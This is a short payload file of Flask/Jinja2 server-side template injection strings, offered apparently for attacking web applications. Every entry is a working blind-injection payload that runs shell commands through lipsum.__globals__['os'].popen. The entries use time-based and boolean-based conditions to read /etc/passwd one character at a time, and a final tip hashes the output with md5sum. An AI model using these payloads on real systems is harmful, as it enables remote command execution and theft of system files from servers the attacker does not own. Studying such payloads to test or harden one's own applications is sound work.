Flask SSTI payloads

SSTI.txt

# Time Based
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd').read() == "r" %}Free-Palestine{% elif lipsum.__globals__["os"].popen('sleep 5').read() %}Free-Palestine{% endif %}

# Boolen Based
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd').read() == "r" %}Free-Palestine{% endif %}

# You may pipe chars to md5sum in order to retrieve new lines without headache
{% if lipsum.__globals__["os"].popen('head -c 1 /etc/passwd | md5sum | cut -d " " -f1 | tr -d "\n"').read() == "4b43b0aee35624cd95b910189b3dc231" %}Free-Palestine{% endif %}